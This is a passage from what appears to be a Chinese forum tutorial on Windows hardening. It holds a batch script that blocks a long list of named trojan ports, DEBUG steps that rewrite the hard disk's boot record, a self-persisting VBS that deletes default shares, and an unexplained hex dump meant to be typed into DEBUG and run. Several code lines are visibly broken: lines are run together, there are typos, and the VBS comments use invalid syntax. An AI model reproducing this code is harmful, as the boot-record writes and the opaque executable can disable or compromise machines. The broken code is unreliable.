ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/27374" -f *+0:27374:TCP -n BLOCK -x >nul
echo 关闭木马SUB7默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/30100" -f *+0:30100:TCP -n BLOCK -x >nul
echo 关闭木马NetSphere默认的服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/31337" -f *+0:31337:TCP -n BLOCK -x >nul
echo 关闭木马BO2000默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/45576" -f *+0:45576:TCP -n BLOCK -x >nul
echo 关闭代理软件的控制端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/50766" -f *+0:50766:TCP -n BLOCK -x >nul
echo 关闭木马Schwindler默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/61466" -f *+0:61466:TCP -n BLOCK -x >nul
echo 关闭木马Telecommando默认服务端口…………OK!ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/31338" -f *+0:31338:TCP -n BLOCK -x >nul
echo 关闭木马Back Orifice默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/8102" -f *+0:8102:TCP -n BLOCK -x >nul
echo 关闭木马网络神偷默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2000" -f *+0:2000:TCP -n BLOCK -x >nul
echo 关闭木马黑洞2000默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/31339" -f *+0:31339:TCP -n BLOCK -x >nul
echo 关闭木马NetSpy DK默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2001" -f *+0:2001:TCP -n BLOCK -x >nul
echo 关闭木马黑洞2001默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/31666" -f *+0:31666:TCP -n BLOCK -x >nul
echo 关闭木马BOWhack默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/34324" -f *+0:34324:TCP -n BLOCK -x >nul
echo 关闭木马BigGluck默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7306" -f *+0:7306:TCP -n BLOCK -x >nul
echo 关闭木马网络精灵3.0，netspy3.0默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/40412" -f *+0:40412:TCP -n BLOCK -x >nul
echo 关闭木马The Spy默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/40421" -f *+0:40421:TCP -n BLOCK -x >nul
echo 关闭木马Masters Paradise默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/8011" -f *+0:8011:TCP -n BLOCK -x >nul
echo 关闭木马wry，赖小子，火凤凰默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/40422" -f *+0:40422:TCP -n BLOCK -x >nul
echo 关闭木马Masters Paradise 1.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/23444" -f *+0:23444:TCP -n BLOCK -x >nul
echo 关闭木马网络公牛，netbull默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/40423" -f *+0:40423:TCP -n BLOCK -x >nul
echo 关闭木马Masters Paradise 2.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/23445" -f *+0:23445:TCP -n BLOCK -x >nul
echo 关闭木马网络公牛，netbull默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/40426" -f *+0:40426:TCP -n BLOCK -x >nul
echo 关闭木马Masters Paradise 3.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/50505" -f *+0:50505:TCP -n BLOCK -x >nul
echo 关闭木马Sockets de Troie默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/27374" -f *+0:27374:TCP -n BLOCK -x >nul
echo 关闭木马Sub Seven 2.0+，77，东方魔眼默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/50766" -f *+0:50766:TCP -n BLOCK -x >nul
echo 关闭木马Fore默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/53001" -f *+0:53001:TCP -n BLOCK -x >nul
echo 关闭木马Remote Windows Shutdown默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/61466" -f *+0:61466:TCP -n BLOCK -x >nul
echo 关闭木马Telecommando默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/121" -f *+0:121:TCP -n BLOCK -x >nul
echo 关闭木马BO jammerkillahV默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/666" -f *+0:666:TCP -n BLOCK -x >nul
echo 关闭木马Satanz Backdoor默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/65000" -f *+0:65000:TCP -n BLOCK -x >nul
echo 关闭木马Devil默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1001" -f *+0:1001:TCP -n BLOCK -x >nul
echo 关闭木马Silencer默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6400" -f *+0:6400:TCP -n BLOCK -x >nul
echo 关闭木马The tHing默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1600" -f *+0:1600:TCP -n BLOCK -x >nul
echo 关闭木马Shivka-Burka默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/12346" -f *+0:12346:TCP -n BLOCK -x >nul
echo 关闭木马NetBus 1.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1807" -f *+0:1807:TCP -n BLOCK -x >nul
echo 关闭木马SpySender默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/20034" -f *+0:20034:TCP -n BLOCK -x >nul
echo 关闭木马NetBus Pro默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1981" -f *+0:1981:TCP -n BLOCK -x >nul
echo 关闭木马Shockrave默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1243" -f *+0:1243:TCP -n BLOCK -x >nul
echo 关闭木马SubSeven默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1001" -f *+0:1001:TCP -n BLOCK -x >nul
echo 关闭木马WebEx默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/30100" -f *+0:30100:TCP -n BLOCK -x >nul
echo 关闭木马NetSphere默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1011" -f *+0:1011:TCP -n BLOCK -x >nul
echo 关闭木马Doly Trojan默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1001" -f *+0:1001:TCP -n BLOCK -x >nul
echo 关闭木马Silencer默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1170" -f *+0:1170:TCP -n BLOCK -x >nul
echo 关闭木马Psyber Stream Server默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/20000" -f *+0:20000:TCP -n BLOCK -x >nul
echo 关闭木马Millenium默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1234" -f *+0:1234:TCP -n BLOCK -x >nul
echo 关闭木马Ultors Trojan默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/65000" -f *+0:65000:TCP -n BLOCK -x >nul
echo 关闭木马Devil 1.03默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1245" -f *+0:1245:TCP -n BLOCK -x >nul
echo 关闭木马VooDoo Doll默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7306" -f *+0:7306:TCP -n BLOCK -x >nul
echo 关闭木马NetMonitor默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1492" -f *+0:1492:TCP -n BLOCK -x >nul
echo 关闭木马FTP99CMP默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1170" -f *+0:1170:TCP -n BLOCK -x >nul
echo 关闭木马Streaming Audio Trojan默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1999" -f *+0:1999:TCP -n BLOCK -x >nul
echo 关闭木马BackDoor默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/30303" -f *+0:30303:TCP -n BLOCK -x >nul
echo 关闭木马Socket23默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2001" -f *+0:2001:TCP -n BLOCK -x >nul
echo 关闭木马Trojan Cow默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6969" -f *+0:6969:TCP -n BLOCK -x >nul
echo 关闭木马Gatecrasher默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2023" -f *+0:2023:TCP -n BLOCK -x >nul
echo 关闭木马Ripper默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/61466" -f *+0:61466:TCP -n BLOCK -x >nul
echo 关闭木马Telecommando默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2115" -f *+0:2115:TCP -n BLOCK -x >nul
echo 关闭木马Bugs默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/12076" -f *+0:12076:TCP -n BLOCK -x >nul
echo 关闭木马Gjamer默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2140" -f *+0:2140:TCP -n BLOCK -x >nul
echo 关闭木马Deep Throat默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4950" -f *+0:4950:TCP -n BLOCK -x >nul
echo 关闭木马IcqTrojen默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2140" -f *+0:2140:TCP -n BLOCK -x >nul
echo 关闭木马The Invasor默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/16969" -f *+0:16969:TCP -n BLOCK -x >nul
echo 关闭木马Priotrity默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2801" -f *+0:2801:TCP -n BLOCK -x >nul
echo 关闭木马Phineas Phucker默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1245" -f *+0:1245:TCP -n BLOCK -x >nul
echo 关闭木马Vodoo默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/30129" -f *+0:30129:TCP -n BLOCK -x >nul
echo 关闭木马Masters Paradise默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5742" -f *+0:5742:TCP -n BLOCK -x >nul
echo 关闭木马Wincrash默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/3700" -f *+0:3700:TCP -n BLOCK -x >nul
echo 关闭木马Portal of Doom默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2583" -f *+0:2583:TCP -n BLOCK -x >nul
echo 关闭木马Wincrash2默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4092" -f *+0:4092:TCP -n BLOCK -x >nul
echo 关闭木马WinCrash默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1033" -f *+0:1033:TCP -n BLOCK -x >nul
echo 关闭木马Netspy默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4590" -f *+0:4590:TCP -n BLOCK -x >nul
echo 关闭木马ICQTrojan默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1981" -f *+0:1981:TCP -n BLOCK -x >nul
echo 关闭木马ShockRave默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5000" -f *+0:5000:TCP -n BLOCK -x >nul
echo 关闭木马Sockets de Troie默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/555" -f *+0:555:TCP -n BLOCK -x >nul
echo 关闭木马Stealth Spy默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5001" -f *+0:5001:TCP -n BLOCK -x >nul
echo 关闭木马Sockets de Troie 1.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2023" -f *+0:2023:TCP -n BLOCK -x >nul
echo 关闭木马Pass Ripper默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5321" -f *+0:5321:TCP -n BLOCK -x >nul
echo 关闭木马Firehotcker默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/666" -f *+0:666:TCP -n BLOCK -x >nul
echo 关闭木马Attack FTP默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5400" -f *+0:5400:TCP -n BLOCK -x >nul
echo 关闭木马Blade Runner默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/21554" -f *+0:21554:TCP -n BLOCK -x >nul
echo 关闭木马GirlFriend默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5401" -f *+0:5401:TCP -n BLOCK -x >nul
echo 关闭木马Blade Runner 1.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/50766" -f *+0:50766:TCP -n BLOCK -x >nul
echo 关闭木马Fore Schwindler默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5402" -f *+0:5402:TCP -n BLOCK -x >nul
echo 关闭木马Blade Runner 2.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/34324" -f *+0:34324:TCP -n BLOCK -x >nul
echo 关闭木马Tiny Telnet Server默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5569" -f *+0:5569:TCP -n BLOCK -x >nul
echo 关闭木马Robo-Hack默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/30999" -f *+0:30999:TCP -n BLOCK -x >nul
echo 关闭木马Kuang默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6670" -f *+0:6670:TCP -n BLOCK -x >nul
echo 关闭木马DeepThroat默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/11000" -f *+0:11000:TCP -n BLOCK -x >nul
echo 关闭木马Senna Spy Trojans默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6771" -f *+0:6771:TCP -n BLOCK -x >nul
echo 关闭木马DeepThroat默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/23456" -f *+0:23456:TCP -n BLOCK -x >nul
echo 关闭木马WhackJob默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6969" -f *+0:6969:TCP -n BLOCK -x >nul
echo 关闭木马GateCrasher默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/555" -f *+0:555:TCP -n BLOCK -x >nul
echo 关闭木马Phase0默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6969" -f *+0:6969:TCP -n BLOCK -x >nul
echo 关闭木马Priority默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5400" -f *+0:5400:TCP -n BLOCK -x >nul
echo 关闭木马Blade Runner默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7000" -f *+0:7000:TCP -n BLOCK -x >nul
echo 关闭木马Remote Grab默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4950" -f *+0:4950:TCP -n BLOCK -x >nul
echo 关闭木马IcqTrojan默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7300" -f *+0:7300:TCP -n BLOCK -x >nul
echo 关闭木马NetMonitor默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/9989" -f *+0:9989:TCP -n BLOCK -x >nul
echo 关闭木马InIkiller默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7301" -f *+0:7301:TCP -n BLOCK -x >nul
echo 关闭木马NetMonitor 1.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/9872" -f *+0:9872:TCP -n BLOCK -x >nul
echo 关闭木马Portal Of Doom默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7306" -f *+0:7306:TCP -n BLOCK -x >nul
echo 关闭木马NetMonitor 2.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/11223" -f *+0:11223:TCP -n BLOCK -x >nul
echo 关闭木马Progenic Trojan默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7307" -f *+0:7307:TCP -n BLOCK -x >nul
echo 关闭木马NetMonitor 3.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/22222" -f *+0:22222:TCP -n BLOCK -x >nul
echo 关闭木马Prosiak 0.47默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7308" -f *+0:7308:TCP -n BLOCK -x >nul
echo 关闭木马NetMonitor 4.x默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/53001" -f *+0:53001:TCP -n BLOCK -x >nul
echo 关闭木马Remote Windows Shutdown默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7789" -f *+0:7789:TCP -n BLOCK -x >nul
echo 关闭木马ICKiller默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5569" -f *+0:5569:TCP -n BLOCK -x >nul
echo 关闭木马RoboHack默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/9872" -f *+0:9872:TCP -n BLOCK -x >nul
echo 关闭木马Portal of Doom默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -x >nul
secedit /refreshpolicy >nul
gpupdate >nul
echo 正在设置 IP 筛选器……
rem if exist %temp%\ipfilter.reg del %temp%\ipfilter.reg
echo Windows Registry Editor Version 5.00>%temp%\ipfilter.reg
echo.>>%temp%\ipfilter.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters]>>%temp%\ipfilter.reg
echo "EnableSecurityFilters"=dword:00000001>>%temp%\ipfilter.reg
echo.>>%temp%\ipfilter.reg>>%temp%\ipfilter.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{F3BBAABC-03A5-4584-A7A0-0251FA38B8B1}]>>%temp%\ipfilter.reg
echo "TCPAllowedPorts"=hex(07):32,00,31,00,00,00,38,00,30,00,00,00,34,00,30,00,30,\>>%temp%\ipfilter.reg
echo 00,30,00,00,00,00,00>>%temp%\ipfilter.reg
echo.>>%temp%\ipfilter.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]>>%temp%\ipfilter.reg
echo "EnableSecurityFilters"=dword:00000001>>%temp%\ipfilter.reg
echo.>>%temp%\ipfilter.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{F3BBAABC-03A5-4584-A7A0-0251FA38B8B1}]>>%temp%\ipfilter.reg
echo "TCPAllowedPorts"=hex(07):32,00,31,00,00,00,38,00,30,00,00,00,34,00,30,00,30,\>>%temp%\ipfilter.reg
echo 00,30,00,00,00,00,00>>%temp%\ipfilter.reg
echo.>>%temp%\ipfilter.reg
regedit /s %temp%\ipfilter.reg
del %temp%\ipfilter.reg
echo IP 筛选器设置成功！
echo.
echo.
echo 设置完毕！您的系统可以免受流行蠕虫病毒及典型木马后门的侵扰！
echo 本脚本使用 IP 安全策略关闭了常见的危险端口，同时使用 IP 筛选
echo 只打开常用的 21 80 4000 端口，双重保护增强安全性！
echo ㊣版技术联合·综合群提醒您注意升级操作系统和杀毒软件！
echo.
echo ******** 重新启动计算机后设置开始生效！ ********
echo.
echo 任意键退出！
pause>nul
将此文件保存成批处理即可，每次开机就会自动加载它。这次讲的是木马，但好像已经很大的偏题了，嘿嘿。很多人为我怎样使非法用户不能进入电脑，开机就不能进，再此我把以前的代码贴出：
最简单的硬盘加密方法（慎用）
 编程爱好者可能知道Dos的引导程序和BPB部分不能修改，但其中的OEM部分和提示信息部分可以修改的，不影响Dos引导程序的正常启动，利用这个特性，我们可以将OEM和提示信息部分对DOS引导记录进行修改，对硬盘实现加密。1、利用OEM部分加密 我们利用11字节的OEM部分（包括原无条件转移语句JMP 012E）修改成加密程序，将无条件语句Jmp 012E后置，当用户口令正确后执行JMP 012E，即执行DOS的引导程序部分，因11字节的OEM部分的区域有限，不能写十分复杂的加密指令，故此口令的设置只能为单字节，但单字节容易被人破解，我们利用键盘上的特殊键组合可以做到恰如其分。 修改程序如下：
在DOS下运行Debug程序，Windows2000-2003用户点开始----运行输入CMD回车，输入Debug开始编写
L 100 2 0 1
a 100
mov ah,02
int 16
cmp al,04
jnz 100
jmp 012e
nopw 100 2 0 1
qInt 16H的2号子功能读取的特殊键盘状态参数如下：
7 Inset键 6 CapsLock键 5 Numlock键 4 Scroll Lock键 3 Alt键 2 Ctrl键 1左Shift键 0 右Shift键
大家根据情况输入自己喜欢的，这里的按键是询问是否按下Ctrl+Shift键2、利用提示信息加密
 在CS：02A2处有一段错误提示信息可以覆盖，我们可以再插入一段加密代码
L 100 2 0 1
e 02A1 00
a 100
jmp 02a2a 02a2
mov ah,02
int 16
cmp al,03
jnz 100
jmp 012e
nopw 100 2 0 1
q此外我要说下的是，我不打算写怎样清除木马，因为文章中写的一些内容中的木马是不能够清除的，杀毒软件不能够清除，一旦清除就会产生系统崩溃，因为它们是直接镶嵌在系统文件内的，并且如果自己精心设计修改后的文件进行压缩、修改日期以后是很难发现是被病毒或木马感染的。现在复合型木马正在大量产生，而目前的杀毒软件并不能完全满足这一要求，甚至有些杀毒软件连改会注册表的功能都没有，就更别说这些了。最好的方法Ghost恢复吧。应群内朋友的要求在此我写一个利用WSH关闭系统默认共享的代码，其实WSH有很多黑客用来写病毒的说，好坏在一线之隔，我把它用到好的地方咯~~~~HOHO
------------------------------CUT--------------------------------------------
dim o
set o = CreateObject("WScript.shell") '建立一个对象
dim fso,dc
Set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
set dc = fso.Drives '获取所有驱动器盘符
for Each d in dc
dim str
o.run("net share " & d.driveletter & "$ /delete") '关闭所有驱动的隐藏共享
next
o.run("net share admin$ /delete")
o.run("net share ipc$ /detete") '关闭admin$和ipc$管道共享
------------------------------CUT--------------------------------------------
将其保存为.vbs格式放到系统根目录，以上代码最好保存成stopshare.vbs
系统启动以后自动运行代码，运行以后可以直接删除掉。
------------------------------CUT--------------------------------------------
dim dirsystem
set dirsystem=fso.GetSpecialFolder(1) ;取得系统根目录
set name=fso.GetFile(WScript.ScriptFullName) ;取得脚本文件名
if (fso.fileexists(dirsystem &"\上面的文件保存的文件名.vbs")) then ;判断系统根目录是否存在上面的文件保存的文件名.vbs
else
name.Copy(dirsystem & "\上面的文件保存的文件名.vbs") 把这个脚本拷贝到系统根目录，文件名为上面的文件保存的文件名.vbs
o.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\stopshare",
dirsystem&"\上面的文件保存的文件名.vbs" ;写入注册表自动启动键值
------------------------------CUT--------------------------------------------
着要保存成.vbs的文件运行一遍就可以自动关闭默认共享另说一点，有些人通过一些方法可以清除入侵痕迹和运行痕迹，并粉碎自身文件或修改程序创建时间和自写解压代码，所以通过查看时间、文件大小来对比也是不怎么可行的。自解压代码很好写的，97年吧，有个非常资深的程序员用16进制代码写了个动画演示程序，只有大小4K左右，在DOS下呀！他就是写了个自身解压缩代码，有兴趣的朋友可以看看，我把它贴到下面。用DEBUG运行，Debug运行的方法我在好多帖子里都有写，请自行查找。
------------------------------CUT--------------------------------------------
e 100 33 f6 bf 0 20 b5 10 f3 a5 8c c8 5 0 2 50 68 13 1 cb e 1f be a1 1 bf 0 1 
e 11b 6 57 b8 11 1 bb 21 13 89 7 4b 4b 48 79 f9 ad 86 e0 8b c8 bd ff ff e8 20 
e 134 0 3d 0 1 74 1a 7f 3 aa eb f3 2d ff 0 50 e8 f 0 5a f7 d8 8b d8 26 8a 1 aa 
e 14f 4a 75 f9 eb de cb 57 bb 21 13 8b c1 40 f7 27 f7 f5 8b fb ba 11 1 4f 4f 4a 
e 168 39 5 7f f9 52 8b c5 f7 25 f7 37 2b c8 95 f7 65 2 f7 37 95 2b e8 fe e fe 
e 181 10 79 6 c6 6 fe 10 7 46 d0 14 d1 d1 d1 e5 79 ec 5a b8 11 1 ff 7 4b 4b 48 
e 19b 3b d0 75 f7 5f c3 83 f7 83 a6 5d 59 82 cd b2 8 42 46 9 57 a9 c5 ca aa 1b 
e 1b4 4f 52 b4 92 3f ab 6e 9e a8 1d c6 3 fc e 6a e7 ae bb 5f 7b 10 b8 b4 f7 8 
e 1cd e2 bf 36 4e 39 9d 79 29 3f a f9 36 52 16 fb 5 e8 e5 a6 c2 e9 b0 43 d3 a3 
e 1e6 cf d3 fd fd cb d1 4c 5e e0 63 58 86 bb 3e 9 c1 20 bc cc 91 a3 47 81 70 b3 
e 1ff d6 1a 9e c2 c9 12 e7 4e ad f4 5f e3 30 e9 9 39 d7 e8 f9 f4 d2 44 e8 d7 22 
e 218 be e2 ce 88 25 cf 30 4a a8 29 ae 3f 47 c6 2d 85 e9 73 54 13 b e6 e0 34 65 
e 231 e2 50 8a 89 18 5f ce 70 99 3 5f 42 bf eb 7 ae d0 ca 5 22 8d 22 a5 b7 f0 
e 24a 90 81 bc 7a bc dc 5 db c0 6a 2 e5 57 38 be 60 cb ac ba a5 3b 9d f1 77 38 
e 263 a6 84 d1 3c af 49 d8 6a 45 a2 76 60 21 12 c0 c2 44 f2 5e bb e5 37 a9 2b 
e 27b ec 4a 8c 4c f2 f7 a9 58 71 2b ba 6d d6 6a e5 60 46 e0 da e5 b9 90 e5 a3 
e 293 f7 7f 31 60 58 f0 c4 88 10 4e 3c a3 ee 4e 11 55 8f a 92 eb db ad 7a 9c f 
e 2ac db 5a 28 96 da 87 ae 91 91 2d e3 5e ea df 6 95 71 67 71 40 ce d1 2e 31 6d 
e 2c5 c1 9c d8 6a 76 9b 4a e8 36 44 d6 76 d 30 5 ff d4 1b ac 1f 32 65 31 bf 55 
e 2de 26 b a4 55 e1 5d 5e 16 ed 97 48 6c 77 fb 81 86 e f9 18 bd d4 f4 8b de 1d 
e 2f7 ba d 47 75 3 89 4b 3e dc 27 86 1c d0 17 89 48 d1 a6 8d d4 2b 54 4e 8f b0 
e 310 2 e1 6b 1a 75 78 ea 21 91 13 c0 cf 78 a0 ab f3 35 c6 b4 c8 90 8d d7 45 e7 
e 329 c 5b a4 ba 52 10 64 f5 4a 50 b7 ec 46 22 15 23 84 30 81 5c df 61 5a 8f 67 
e 342 c4 63 57 6d f7 26 92 a3 1f e5 3 a5 0 54 41 8 48 7c 26 90 33 82 9c 91 b0 
e 35b ab 78 5d df 99 e0 b9 fc 5 36 ac d9 49 91 ab 20 a2 63 48 89 ce 5c 60 64 f0 
e 374 63 d9 a8 38 3b d3 e6 4c 8c 23 34 4e 20 51 93 5e 6d b4 7a 22 9b 4c f2 d3 
e 38c c4 f8 3 6f 47 40 f4 f8 45 9b 83 f3 83 6 31 d0 0 17 82 83 dc 67 f9 62 77 
e 3a5 90 3b d9 ec f3 55 96 b8 d9 db 79 55 f1 e5 8c 5e f2 e5 2e b0 b 6e e2 81 25 
e 3be 93 8e b5 dd 5b 46 f9 af ed 6 12 cf c9 1d f0 f7 3b 16 2d c6 58 73 8d e9 5f 
e 3d7 fd 5a b6 a1 94 4d 1a 8 ff eb b7 6 80 c7 86 83 b6 b9 fd 1c e0 c c3 2e a0 
e 3f0 2f b 3e 3 6b 29 e1 27 85 1c ea 6d df b3 a3 ed 65 4a 9a 59 3b 54 e 4b ae 
e 409 9e 27 f0 4d 3b c 4c 46 b7 e5 57 1b 1f 1f bb 80 86 f5 b7 ef 73 52 bf 2c c7 
e 422 ed a b7 81 2 f3 90 3e ee cc 6c eb f 38 1 6c 68 b1 d 45 78 b2 f f6 83 b0 
e 43c c4 33 df b1 d1 91 98 1e 81 a5 e2 59 9f f4 8c b6 72 8 a7 8c f6 e a3 b2 1f 
e 455 d9 d3 23 f0 7c 5e 5f 68 61 8b 45 da 1d 91 ec 8d 4e ea 1a 38 85 94 aa ac 
e 46d f2 4 f6 c4 e5 92 8e 9a 4e 83 e1 73 e8 cf 2a 5c 2b 7e f1 30 2 8a e6 28 1a 
e 486 3b ce bc 96 aa 7f eb 87 cd 8b 96 2d 9 59 7a a0 1a 43 62 9a 9e 4f ff 8e d9 
e 49f ce d6 a4 70 79 cd 65 fa 2e 92 14 29 f7 6c 74 4b 49 60 80 bb ff 41 bb 2d 
